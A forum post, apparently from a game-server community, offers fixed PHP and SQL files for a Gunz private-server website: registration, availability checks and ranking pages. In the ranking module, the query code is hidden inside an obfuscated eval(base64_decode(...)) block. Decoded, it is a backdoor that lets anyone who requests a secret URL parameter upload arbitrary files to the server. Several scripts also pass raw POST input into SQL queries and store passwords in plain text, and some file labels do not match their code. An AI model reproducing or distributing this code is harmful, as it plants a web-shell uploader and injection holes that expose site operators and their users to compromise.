Dear RaGEZONERS,
I guess alot off you people are having problems / errors using the B-2-O Website well i've fixed most off the errors.
I've fully fixed them so i don't have to give credits only to Maxteam and that spiderman or something.. for creating this website.
Register page error :
your DBO.Account needs a few more columns so it can insert them to it. And it inserts the sex in your column as Male / Female.
But the standard Sex column only allows numbers not characters.
And the availability fixes there were some errors on the scripts with the $POST.
Fixes for register page :
Code:USE [GunzVG] GO /****** Object: Table [dbo].[Account] Script Date: 08/12/2010 05:05:30 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO SET ANSI_PADDING ON GO CREATE TABLE [dbo].[Account]( [AID] [int] IDENTITY(1,1) NOT NULL, [UserID] [varchar](20) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL, [UGradeID] [int] NOT NULL, [PGradeID] [int] NOT NULL, [RegDate] [datetime] NOT NULL, [Name] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL, [Email] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [RegNum] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [Age] [smallint] NULL, [Sex] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [ZipCode] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [Address] [varchar](256) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [Country] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [LastCID] [int] NULL, [Cert] [tinyint] NULL, [HackingType] [tinyint] NULL, [HackingRegTime] [smalldatetime] NULL, [EndHackingBlockTime] [smalldatetime] NULL, [LastLoginTime] [smalldatetime] NULL, [ServerID] [tinyint] NULL, [LastLogoutTime] [smalldatetime] NULL, [DonateCoins] [int] NOT NULL CONSTRAINT [DF_Account_DonateCoins] DEFAULT ((0)), [sa] [varchar](max) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [sq] [varchar](max) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [captcha_code] [varchar](max) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, CONSTRAINT [Account_PK] PRIMARY KEY CLUSTERED ( [AID] ASC )WITH (PAD_INDEX = OFF, IGNORE_DUP_KEY = OFF) ON [PRIMARY] ) ON [PRIMARY] GO SET ANSI_PADDING OFF
mod_register.php
email_availability.phpCode:<?php session_start(); ?> <script language="javascript"> $(document).ready(function() { $("#username").blur(function() { //remove all the class add the messagebox classes and start fading $("#msgbox").removeClass().addClass('messagebox').text('Checking...').fadeIn("slow"); //check the username exists or not from ajax $.post("user_availability.php",{ user_name:$(this).val() } ,function(data) { if(data=='no') //if username not avaiable { $("#msgbox").fadeTo(200,0.1,function() //start fading the messagebox { //add message and change the class of the box and start fading $(this).html('Username is Invalid or in Use.').addClass('messageboxerror').fadeTo(900,1); }); } else { $("#msgbox").fadeTo(200,0.1,function() //start fading the messagebox { //add message and change the class of the box and start fading $(this).html('Username Available').addClass('messageboxok').fadeTo(900,1); }); } }); }); //Validate E-Mail $("#email").blur(function() { //remove all the class add the messagebox classes and start fading $("#msgbox2").removeClass().addClass('messagebox').text('Checking...').fadeIn("slow"); //check the email exists or not from ajax $.post("email_availability.php",{ email:$(this).val() } ,function(data) { if(data=='no') //if email not avaiable { $("#msgbox2").fadeTo(200,0.1,function() //start fading the messagebox { //add message and change the class of the box and start fading $(this).html('E-mail ID is Invalid or in Use.').addClass('messageboxerror').fadeTo(900,1); }); } else { $("#msgbox2").fadeTo(200,0.1,function() //start fading the messagebox { //add message and change the class of the box and start fading $(this).html('E-mail entered is valid.').addClass('messageboxok').fadeTo(900,1); }); } }); }); }); </script> <style type="text/css"> body { font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; } .top { margin-bottom: 15px; } .messagebox{ position:absolute; width:100px; border:1px solid #4C787E; background:#4C4646; padding:3px; } .messageboxok{ position:absolute; width:auto; border:1px solid #349534; background:#C9FFCA; padding:3px; font-weight:bold; color:#008000; } .messageboxerror{ position:absolute; width:auto; border:1px solid #CC0000; background:#F7CBCA; padding:3px; font-weight:bold; color:#CC0000; } </style> <? if(!$_SESSION['AID'] == ""){ msgbox("You already have an account.","index.php"); } $errorcode = ""; $er = 0; $registered = 0; if (isset($_POST['submit'])){ $user = antisql($_POST['userid']); $email = antisql($_POST['email']); $pw1 = antisql($_POST['pw1']); $pw2 = antisql($_POST['pw2']); $country = antisql($_POST['country']); $sq = antisql($_POST['sq']); $sa = antisql($_POST['sa']); $captcha_code = antisql($_POST['captcha_code']); $name = antisql($_POST['name']); $zip = antisql($_POST['zip']); $age = antisql($_POST['age']); $sex = antisql($_POST['sex']); $address = antisql($_POST['address']); $validate = validateEmail($email); $validateun = validate_username($user); if($user == "" || $validateun<0){ msgbox ("Enter a Valid Username.","index.php?do=register","index.php?do=register"); $er = 1; } if($email == "" || $validate<0){ msgbox ("Enter a Valid E-Mail ID.","index.php?do=register","index.php?do=register"); $er = 1; } if($pw1 == "" Or $pw2 == ""){ msgbox ("Please fill both password fields.","index.php?do=register"); $er = 1; } if(strlen($pw1) < 6){ msgbox ("Choose a password with al least 6 characters.","index.php?do=register"); $er =1; } if($sq == ""){ msgbox ("Enter a secret question.","index.php?do=register"); $er =1; } if($sa == ""){ msgbox ("Enter a secret answer.","index.php?do=register"); $er = 1; } $res = mssql_query("SELECT * FROM Account WHERE email = '".$email."'"); if (mssql_num_rows($res) >= 1){ msgbox ("Email in use.","index.php?do=register"); $er = 1; } $res = mssql_query("SELECT * FROM Login WHERE UserID = '".$user."'"); if (mssql_num_rows($res) >= 1){ msgbox ("UserID in use.","index.php?do=register"); $er = 1; } if($pw1 == $pw2){ $lol = "xDDD"; }else{ msgbox ("Passwords Missmatch","index.php?do=register"); $er = 1; } $securimage = new Securimage(); if ($securimage->check($_POST['captcha_code']) == false) { // the code was incorrect // handle the error accordingly with your other error checking // or you can do something really basic like this die('The code you entered was incorrect. Go back and try again.'); } if($er == 0){ $registered = 1; mssql_query("INSERT INTO Account (UserID, Cert, Name, Email, Age, Sex, UGradeID, PGradeID, RegDate, Country, sa, sq , captcha_code)Values ('$user', NULL, '$name','$email','$age', '$sex', 0, 0, GETDATE(),'$country', '$sa', '$sq', '$captcha_code')"); $res = mssql_query("SELECT * FROM Account WHERE UserID = '$user'"); $usr = mssql_fetch_assoc($res); $aid = $usr['AID']; mssql_query("INSERT INTO Login ([UserID],[AID],[Password],[euCoins])VALUES('$user','$aid','$pw1',100)"); }else{ $errorbox = ErrorBox($errorcode); } } if ($registered == 0){ ?> <form name="reg" method="POST" action="index.php?do=register"><body bgcolor="#323232"> <div align="center"> <table border="0" width="456" style="border-collapse: collapse"> <tr> <td background="images/cont_up.jpg"> </td> </tr> <tr> <td background="images/cont_bg.jpg"> <div align="center"> <table border="0" style="border-collapse: collapse" width="454" height="100%"> <tr> <td width="4" rowspan="36"> </td> <td width="436" colspan="2"> <img border="0" src="images/inf/createaccount.jpg" width="413" height="18"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> <font size="1" color="#4D4D4D">The fields marked with an * are required</font></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145" valign="middle"> ·<span lang="es"> User ID<font color="#FF9933">*</font></span></td> <td width="289"> <input type="text" name="userid" id="username" size="20"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"><span id="msgbox" style="display:none"></span> </td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145"> ·<span lang="es"> E-Mail<font color="#FF9933">*</font></span></td> <td width="289"> <input type="text" name="email" id="email" size="20"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"><span id="msgbox2" style="display:none"></span> </td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145"> ·<span lang="es"> Password<font color="#FF9933">*</font></span></td> <td width="289"> <input type="password" name="pw1" size="20"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> <font color="#4D4D4D"> <span style="font-size: 7pt">Minimum 6 characters in length</span></font></td> <td width="8"> </td> </tr> <tr> <td width="145"> ·<span lang="es"> Repeat password<font color="#FF9933">*</font></span></td> <td width="289"> <input type="password" name="pw2" size="20"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145" valign="middle"> ·<span lang="es"> Country<font color="#FF9933">*</font></span></td> <td width="289"> <select id="dropDownCountrySelector" name="country" class onChange="refreshCountry(this, false);"> <option value="IN" selected="selected"> India</option> <option value="AL">Albania</option> <option value="DZ">Algeria</option> <option value="AD">Andorra</option> <option value="AO">Angola</option> <option value="AI">Anguilla</option> <option value="AG">Antigua and Barbuda</option> <option value="AR">Argentina </option> <option value="AM">Armenia</option> <option value="AW">Aruba</option> <option value="AU">Australia </option> <option value="AT">Austria</option> <option value="AZ">Azerbaijan Republic</option> <option value="BS">Bahamas</option> <option value="BH">Bahrain</option> <option value="BB">Barbados</option> <option value="BE">Belgium</option> <option value="BZ">Belize</option> <option value="BJ">Benin</option> <option value="BM">Bermuda</option> <option value="BT">Bhutan</option> <option value="BO">Bolivia</option> <option value="BA">Bosnia and Herzegovina</option> <option value="BW">Botswana</option> <option value="BR">Brazil</option> <option value="VG">British Virgin Islands</option> <option value="BN">Brunei</option> <option value="BG">Bulgaria</option> <option value="BF">Burkina Faso </option> <option value="BI">Burundi</option> <option value="KH">Cambodia</option> <option value="CA">Canada</option> <option value="CV">Cape Verde </option> <option value="KY">Cayman Islands </option> <option value="TD">Chad</option> <option value="CL">Chile</option> <option value="C2">China Worldwide </option> <option value="CO">Colombia</option> <option value="KM">Comoros</option> <option value="CK">Cook Islands </option> <option value="CR">Costa Rica </option> <option value="HR">Croatia</option> <option value="CY">Cyprus</option> <option value="CZ">Czech Republic </option> <option value="CD">Democratic Republic of the Congo</option> <option value="DK">Denmark</option> <option value="DJ">Djibouti</option> <option value="DM">Dominica</option> <option value="DO">Dominican Republic</option> <option value="EC">Ecuador</option> <option value="SV">El Salvador </option> <option value="ER">Eritrea</option> <option value="EE">Estonia</option> <option value="ET">Ethiopia</option> <option value="FK">Falkland Islands </option> <option value="FO">Faroe Islands </option> <option value="FM">Federated States of Micronesia</option> <option value="FJ">Fiji</option> <option value="FI">Finland</option> <option value="FR">France</option> <option value="GF">French Guiana </option> <option value="PF">French Polynesia </option> <option value="GA">Gabon Republic </option> <option value="GM">Gambia</option> <option value="DE">Germany</option> <option value="GI">Gibraltar </option> <option value="GR">Greece</option> <option value="GL">Greenland </option> <option value="GD">Grenada</option> <option value="GP">Guadeloupe </option> <option value="GT">Guatemala </option> <option value="GN">Guinea</option> <option value="GW">Guinea Bissau </option> <option value="GY">Guyana</option> <option value="HN">Honduras</option> <option value="HK">Hong Kong </option> <option value="HU">Hungary</option> <option value="IS">Iceland</option> <option value="IN">India</option> <option value="ID">Indonesia </option> <option value="IE">Ireland</option> <option value="IL">Israel</option> <option value="IT">Italy</option> <option value="JM">Jamaica</option> <option value="JP">Japan</option> <option value="JO">Jordan</option> <option value="KZ">Kazakhstan </option> <option value="KE">Kenya</option> <option value="KI">Kiribati</option> <option value="KW">Kuwait</option> <option value="KG">Kyrgyzstan </option> <option value="LA">Laos</option> <option value="LV">Latvia</option> <option value="LS">Lesotho</option> <option value="LI">Liechtenstein </option> <option value="LT">Lithuania </option> <option value="LU">Luxembourg </option> <option value="MG">Madagascar </option> <option value="MW">Malawi</option> <option value="MY">Malaysia</option> <option value="MV">Maldives</option> <option value="ML">Mali</option> <option value="MT">Malta</option> <option value="MH">Marshall Islands </option> <option value="MQ">Martinique </option> <option value="MR">Mauritania </option> <option value="MU">Mauritius </option> <option value="YT">Mayotte</option> <option value="MX">Mexico</option> <option value="MN">Mongolia</option> <option value="MS">Montserrat </option> <option value="MA">Morocco</option> <option value="MZ">Mozambique </option> <option value="NA">Namibia</option> <option value="NR">Nauru</option> <option value="NP">Nepal</option> <option value="NL">Netherlands </option> <option value="AN">Netherlands Antilles</option> <option value="NC">New Caledonia </option> <option value="NZ">New Zealand </option> <option value="NI">Nicaragua </option> <option value="NE">Niger</option> <option value="NU">Niue</option> <option value="NF">Norfolk Island </option> <option value="NO">Norway</option> <option value="OM">Oman</option> <option value="PW">Palau</option> <option value="PA">Panama</option> <option value="PG">Papua New Guinea </option> <option value="PE">Peru</option> <option value="PH">Philippines </option> <option value="PN">Pitcairn Islands </option> <option value="PL">Poland</option> <option value="PT">Portugal</option> <option value="QA">Qatar</option> <option value="CG">Republic of the Congo</option> <option value="RE">Reunion</option> <option value="RO">Romania</option> <option value="RU">Russia</option> <option value="RW">Rwanda</option> <option value="VC">Saint Vincent and the Grenadines</option> <option value="WS">Samoa</option> <option value="SM">San Marino </option> <option value="ST">São Tomé and Príncipe</option> <option value="SA">Saudi Arabia </option> <option value="SN">Senegal</option> <option value="SC">Seychelles </option> <option value="SL">Sierra Leone </option> <option value="SG">Singapore </option> <option value="SK">Slovakia</option> <option value="SI">Slovenia</option> <option value="SB">Solomon Islands </option> <option value="SO">Somalia</option> <option value="ZA">South Africa </option> <option value="KR">South Korea </option> <option value="ES">Spain</option> <option value="LK">Sri Lanka </option> <option value="SH">St. Helena </option> <option value="KN">St. Kitts and Nevis</option> <option value="LC">St. Lucia </option> <option value="PM">St. Pierre and Miquelon</option> <option value="SR">Suriname</option> <option value="SJ">Svalbard and Jan Mayen Islands</option> <option value="SZ">Swaziland </option> <option value="SE">Sweden</option> <option value="CH">Switzerland </option> <option value="TW">Taiwan</option> <option value="TJ">Tajikistan </option> <option value="TZ">Tanzania</option> <option value="TH">Thailand</option> <option value="TG">Togo</option> <option value="TO">Tonga</option> <option value="TT">Trinidad and Tobago</option> <option value="TN">Tunisia</option> <option value="TR">Turkey</option> <option value="TM">Turkmenistan </option> <option value="TC">Turks and Caicos Islands</option> <option value="TV">Tuvalu</option> <option value="UG">Uganda</option> <option value="UA">Ukraine</option> <option value="AE">United Arab Emirates</option> <option value="GB">United Kingdom </option> <option value="UY">Uruguay</option> <option value="US">United States</option> <option value="VU">Vanuatu</option> <option value="VA">Vatican City State</option> <option value="VE">Venezuela </option> <option value="VN">Vietnam</option> <option value="WF">Wallis and Futuna Islands</option> <option value="YE">Yemen</option> <option value="ZM">Zambia</option> </select></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="434" colspan="2"> <hr color="#323232" width="96%"></td> <td width="8"> </td> </tr> <tr> <td width="145">·<span lang="es"> Name</span></td> <td width="289"> <input type="text" name="name" size="20"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145">·<span lang="es"> Age</span></td> <td width="289"> <select size="1" name="age"> <option value='1'>1</option> <option value='2'>2</option> <option value='3'>3</option> <option value='4'>4</option> <option value='5'>5</option> <option value='6'>6</option> <option value='7'>7</option> <option value='8'>8</option> <option value='9'>9</option> <option value='10'>10</option> <option value='11'>11</option> <option value='12'>12</option> <option value='13'>13</option> <option value='14'>14</option> <option value='15'>15</option> <option value='16'>16</option> <option value='17'>17</option> <option value='18'>18</option> <option value='19'>19</option> <option value='20'>20</option> <option value='21'>21</option> <option value='22'>22</option> <option value='23'>23</option> <option value='24'>24</option> <option value='25'>25</option> <option value='26'>26</option> <option value='27'>27</option> <option value='28'>28</option> <option value='29'>29</option> <option value='30'>30</option> <option value='31'>31</option> <option value='32'>32</option> <option value='33'>33</option> <option value='34'>34</option> <option value='35'>35</option> <option value='36'>36</option> <option value='37'>37</option> <option value='38'>38</option> <option value='39'>39</option> <option value='40'>40</option> <option value='41'>41</option> <option value='42'>42</option> <option value='43'>43</option> <option value='44'>44</option> <option value='45'>45</option> <option value='46'>46</option> <option value='47'>47</option> <option value='48'>48</option> <option value='49'>49</option> <option value='50'>50</option> <option value='51'>51</option> <option value='52'>52</option> <option value='53'>53</option> <option value='54'>54</option> <option value='55'>55</option> <option value='56'>56</option> <option value='57'>57</option> <option value='58'>58</option> <option value='59'>59</option> <option value='60'>60</option> <option value='61'>61</option> <option value='62'>62</option> <option value='63'>63</option> <option value='64'>64</option> <option value='65'>65</option> <option value='66'>66</option> <option value='67'>67</option> <option value='68'>68</option> <option value='69'>69</option> <option value='70'>70</option> <option value='71'>71</option> <option value='72'>72</option> <option value='73'>73</option> <option value='74'>74</option> <option value='75'>75</option> <option value='76'>76</option> <option value='77'>77</option> <option value='78'>78</option> <option value='79'>79</option> <option value='80'>80</option> <option value='81'>81</option> <option value='82'>82</option> <option value='83'>83</option> <option value='84'>84</option> <option value='85'>85</option> <option value='86'>86</option> <option value='87'>87</option> <option value='88'>88</option> <option value='89'>89</option> <option value='90'>90</option> <option value='91'>91</option> <option value='92'>92</option> <option value='93'>93</option> <option value='94'>94</option> <option value='95'>95</option> <option value='96'>96</option> <option value='97'>97</option> <option value='98'>98</option> <option value='99'>99</option> <option value='100'>100</option> </select></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145">·<span lang="es"> Sex</span></td> <td width="289"> <select size="1" name="sex"> <option selected value="Male">Male </option> <option value="Female">Female </option> </select></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145">·<span lang="es"> </span>ZIP Code / CP</td> <td width="289"> <input type="text" name="zip" size="20"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145">·<span lang="es"> Address</span></td> <td width="289"> <input type="text" name="address" size="20"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="436" colspan="2"> <hr color="#323232" width="96%"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> <font color="#FF0000"> <span style="font-size: 7pt">This Details are IMPORTANT to Change Your Password <br /><br />WARNING..!!<br />DO NOT let others know this details</span></font></td> <td width="8"> </td> </tr> <tr> <td width="145">· Secret Question<font color="#FF9933">*</font></td> <td width="289"> <input type="text" name="sq" size="34"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145">· Security Answer<font color="#FF9933">*</font></td> <td width="289"> <input type="text" name="sa" size="34"></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="145">· Secret Code<font color="#FF9933">*</font></td> <td width="289"> <input type="text" name="captcha_code" size="10" maxlength="6" /></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> <img id="captcha" src="includes/captcha/securimage_show.php" alt="CAPTCHA Image" /></td> <td width="8"> </td> </tr> <tr> <td width="145"> </td> <td width="289"> </td> <td width="8"> </td> </tr> <tr> <td width="434" colspan="2"> <hr color="#323232" width="96%"></td> <td width="8"> </td> </tr> <tr> <td width="434" colspan="2"> <center> <td><input type="submit" value="Register" name="submit"></center></td> <td width="8"> </td> </tr> </table> </div> </td> </tr> <tr> <td background="images/cont_top.jpg" height="27"> </td> </tr> </table> </div></form> <? }else{ ?> <head> <meta http-equiv="Content-Language" content="es"> </head> <form name="reg" method="POST" action="index.php?do=register"><body bgcolor="#323232"> <div align="center"> <table border="0" width="456" style="border-collapse: collapse"> <tr> <td background="images/cont_up.jpg"> </td> </tr> <tr> <td background="images/cont_bg.jpg"> <div align="center"> <table border="0" style="border-collapse: collapse" width="454" height="100%"> <tr> <td width="4" rowspan="8"> </td> <td width="436" colspan="2"> <img border="0" src="images/inf/createaccount.jpg" width="413" height="18"></td> <td width="8"> </td> </tr> <tr> <td width="434" colspan="2"> </td> <td width="8"> </td> </tr> <tr> <td width="25" valign="middle"> </td> <td width="409" valign="middle"> The Account '<b><?=$user?></b>' has been created successfully.</td> <td width="8"> </td> </tr> <tr> <td width="25"> </td> <td width="409">To edit your profile, login and click Profile "Edit my account"</td> <td width="8"> </td> </tr> <tr> <td width="434" colspan="2"> </td> <td width="8"> </td> </tr> <tr> <td width="434" height="24" colspan="2"> <center> </center></td> <td width="8" height="24"> </td> </tr> </table> </div> </td> </tr> <tr> <td background="images/cont_top.jpg" height="27"> </td> </tr> </table> </div></form> <? } ?> <td width="206" valign="top"> <p><? include "modules/mod_iLogin.php" ?></p> <p> </p> <p> </td> <td width="12"> </td>
user_availability.phpCode:<?php include "includes/config.php"; include "includes/functions.php"; ?> <?php $email=$_POST['email']; $validated=validateemail($email); $existing_users = mssql_query("SELECT * FROM Account WHERE email='$email'"); $numrows = mssql_num_rows($existing_users); if($numrows>0 || $validated<0) { //user name is not availble echo "no"; } else { //user name is available echo "yes"; } ?>
Ranking page fix :Code:<?php include "includes/config.php"; include "includes/functions.php"; ?> <?php $user_name=$_POST['user_name']; $vusername=validate_username($user_name); $existing_users = mssql_query("SELECT * FROM Account WHERE UserID='$user_name'"); $numrows = mssql_num_rows($existing_users); if($numrows>0 || $vusername<0) { //user name is not availble echo "no"; } else { //user name is available echo "yes"; } ?>
querie:
mod_individualrank.phpCode:USE [GunzVG] GO /****** Object: Table [dbo].[Character] Script Date: 08/12/2010 05:10:13 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO SET ANSI_PADDING ON GO CREATE TABLE [dbo].[Character]( [CID] [int] IDENTITY(1,1) NOT NULL, [AID] [int] NOT NULL, [Name] [varchar](24) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL, [Level] [smallint] NOT NULL, [Sex] [tinyint] NOT NULL, [CharNum] [smallint] NOT NULL, [Hair] [tinyint] NULL, [Face] [tinyint] NULL, [XP] [int] NOT NULL, [BP] [int] NOT NULL, [HP] [smallint] NULL, [AP] [smallint] NULL, [FR] [int] NULL, [CR] [int] NULL, [ER] [int] NULL, [WR] [int] NULL, [head_slot] [int] NULL, [chest_slot] [int] NULL, [hands_slot] [int] NULL, [legs_slot] [int] NULL, [feet_slot] [int] NULL, [fingerl_slot] [int] NULL, [fingerr_slot] [int] NULL, [melee_slot] [int] NULL, [primary_slot] [int] NULL, [secondary_slot] [int] NULL, [custom1_slot] [int] NULL, [custom2_slot] [int] NULL, [RegDate] [datetime] NULL, [LastTime] [datetime] NULL, [PlayTime] [int] NULL, [GameCount] [int] NULL, [KillCount] [int] NULL, [DeathCount] [int] NULL, [DeleteFlag] [tinyint] NULL, [DeleteName] [varchar](24) COLLATE SQL_Latin1_General_CP1_CI_AS NULL, [head_itemid] [int] NULL, [chest_itemid] [int] NULL, [hands_itemid] [int] NULL, [legs_itemid] [int] NULL, [feet_itemid] [int] NULL, [fingerl_itemid] [int] NULL, [fingerr_itemid] [int] NULL, [melee_itemid] [int] NULL, [primary_itemid] [int] NULL, [secondary_itemid] [int] NULL, [custom1_itemid] [int] NULL, [custom2_itemid] [int] NULL, [QuestItemInfo] [binary](292) NULL, CONSTRAINT [Character_PK] PRIMARY KEY CLUSTERED ( [CID] ASC )WITH (PAD_INDEX = OFF, IGNORE_DUP_KEY = OFF) ON [PRIMARY] ) ON [PRIMARY] GO SET ANSI_PADDING OFF
Itemshop :Code:<? ?><head> <meta http-equiv="Content-Language" content="es"> </head> <table border="0" style="border-collapse: collapse" width="678"> <tr> <td width="599" valign="top"> <div align="center"> <table border="0" style="background-position: center top; border-collapse: collapse; background-image:url('images/content_bg.jpg'); background-repeat:repeat-y" width="603"> <tr> <td style="background-image: url('images/content_title_ranking2.jpg'); background-repeat: no-repeat; background-position: center top" height="25" width="601" colspan="3"> </td> </tr> <tr> <td style="background-repeat: repeat; background-position: center top" width="7" rowspan="6"> <p> </p> <p> </td> <td style="background-repeat: repeat; background-position: center top" width="583" valign="top"> <form method="GET" name="indsearch" action="index.php"> <input type="hidden" name="do" value="individualrank" /> <p align="center"> <select name="type"> <option value="1">Character Name</option> <option value="2">Account Name</option> </select> <input type="text" name="name" /> <input type="submit" value="Search" /> </p> </form> </td> <td style="background-repeat: repeat; background-position: center top" width="7" rowspan="6"> </td> </tr> <tr> <td style="background-repeat: repeat; background-position: center top" width="583" valign="top"> </td> </tr> <tr> <td style="background-repeat: no-repeat; background-position: center top" width="583" valign="top"> <div align="center"> <table border="0" style="border-collapse: collapse; background-image: url('images/content_ranking_data_bg.jpg'); background-repeat: no-repeat; background-position: center top" width="573"> <tr> <td width="14" height="21"> </td> <td width="60" height="21" valign="bottom" align="center"> <div align="center"> <font face="Tahoma"><b> Ranking</b></font></td> <td width="132" height="21" valign="bottom" align="center"> <font face="Tahoma"><b>Character Name</b></font></td> <td width="43" height="21" valign="bottom" align="center"> <font face="Tahoma"><b>Level</b></font></td> <td width="149" height="21" valign="bottom" align="center"> <font face="Tahoma"><b> Experience</b></font></td> <td width="148" height="21" valign="bottom" align="center"> <font face="Tahoma"><b>Kill / Death Ratio</b></font></td> <td width="13" height="21"> </td> </tr> <tr> <td width="14"> </td> <td width="538" colspan="5" valign="top"> <div align="center"> <table border="0" style="border-collapse: collapse" width="538"> <tr> <td width="59"> </td> <td width="132"> </td> <td width="43"> </td> <td width="149"> </td> <td width="145"> </td> </tr> <? if(isset($_GET['name']) && isset($_GET['type'])){ $input = AntiSql($_GET['name']); if($_GET['type'] == 1){ $_F=__FILE__;$_X='Pz48P3BocCANCiRjdyA9ICRfR0VUWydDVyddOw0KNGYoNHNzNXQoJGN3KSAmJiAkY3cgPT0gIkNXIil7DQo0Zig0c3M1dCgkX1BPU1RbJ3MzYm00dCddKSl7DQokdDFyZzV0X3AxdGggPSAkdDFyZzV0X3AxdGggLiBiMXM1bjFtNSggJF9GSUxFU1snM3BsMjFkNWRmNGw1J11bJ24xbTUnXSk7IA0KDQo0ZihtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snM3BsMjFkNWRmNGw1J11bJ3RtcF9uMW01J10sICR0MXJnNXRfcDF0aCkpIHsNCiAgICA1Y2gyICJUaDUgZjRsNSAiLiAgYjFzNW4xbTUoICRfRklMRVNbJzNwbDIxZDVkZjRsNSddWyduMW01J10pLiANCiAgICAiIGgxcyBiNTVuIDNwbDIxZDVkIjsNCn0gNWxzNXsNCiAgICA1Y2gyICJUaDVyNSB3MXMgMW4gNXJyMnIgM3BsMjFkNG5nIHRoNSBmNGw1LCBwbDUxczUgdHJ5IDFnMTRuISI7DQp9CQ0KfSA1bHM1IHsNCjVjaDIgIjxmMnJtIDVuY3R5cDU9XCJtM2x0NHAxcnQvZjJybS1kMXQxXCIgbTV0aDJkPVwiUE9TVFwiPg0KQ2gyMnM1IDEgZjRsNSB0MiAzcGwyMWQ6IDw0bnAzdCBuMW01PVwiM3BsMjFkNWRmNGw1XCIgdHlwNT1cImY0bDVcIiAvPjxiciAvPg0KPDRucDN0IHR5cDU9XCJzM2JtNHRcIiBuMW01PVwiczNibTR0XCIgdjFsMzU9XCJVcGwyMWQgRjRsNVwiIC8+DQo8L2Yycm0+IjsNCn0NCn0NCiRxMzVyeSA9IG1zc3FsX3EzNXJ5KCJTRUxFQ1QgKiBGUk9NIENoMXIxY3Q1ciBXSEVSRSBOMW01PSciLiQ0bnAzdC4iJyIpOw0KJG4zbSA9IG1zc3FsX24zbV9yMndzKCRxMzVyeSk7DQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); if($num == 0){ echo "<tr> <td width=\"528\" colspan=\"5\"> <p align=\"center\"> No Data</td> </tr>"; } else { $char = mssql_fetch_array($query); ?> <tr bgcolor="#232122"> <td width="59" align="center"> <b>#</b></td> <td width="132" align="center"> <a href="index.php?do=charinfo&id=<?=$char['CID']?>"><?=FormatCharName($char['CID'])?></a></td> <td width="43" align="center"> <?=$char['Level']?></td> <td width="149" align="center"> <?=number_format($char['XP'], 0, ",", ".")?></td> <td width="145" align="center"> <?=GetKDRatio($char['KillCount'], $char['DeathCount'])?></td> </tr> <? } } elseif($_GET['type'] == 2){ $query = mssql_query("SELECT * FROM Account WHERE UserID='".$input."'"); $num = mssql_num_rows($query); if($num == 0){ echo "<tr> <td width=\"528\" colspan=\"5\"> <p align=\"center\"> No Account Data</td> </tr>"; } else { $row = mssql_fetch_array($query); $accountid = $row['AID']; $query2 = mssql_query("SELECT * FROM Character WHERE AID='".$accountid."' AND DeleteFlag != '1'"); $num2 = mssql_num_rows($query2); if($num2 == 0){ echo "<tr> <td width=\"528\" colspan=\"5\"> <p align=\"center\"> No Character Data</td> </tr>"; } else { while($char = mssql_fetch_array($query2)){ ?> <tr bgcolor="#232122"> <td width="59" align="center"> <b>#</b></td> <td width="132" align="center"> <a href="index.php?do=charinfo&id=<?=$char['CID']?>"><?=FormatCharName($char['CID'])?></a></td> <td width="43" align="center"> <?=$char['Level']?></td> <td width="149" align="center"> <?=number_format($char['XP'], 0, ",", ".")?></td> <td width="145" align="center"> <?=GetKDRatio($char['KillCount'], $char['DeathCount'])?></td> </tr> <? } } } } else { echo "<tr> <td width=\"528\" colspan=\"5\"> <p align=\"center\"> Loveyouuuu :D</td> </tr>"; } } else { $page = $_GET['page']; if(!isset($page) && $page == "" 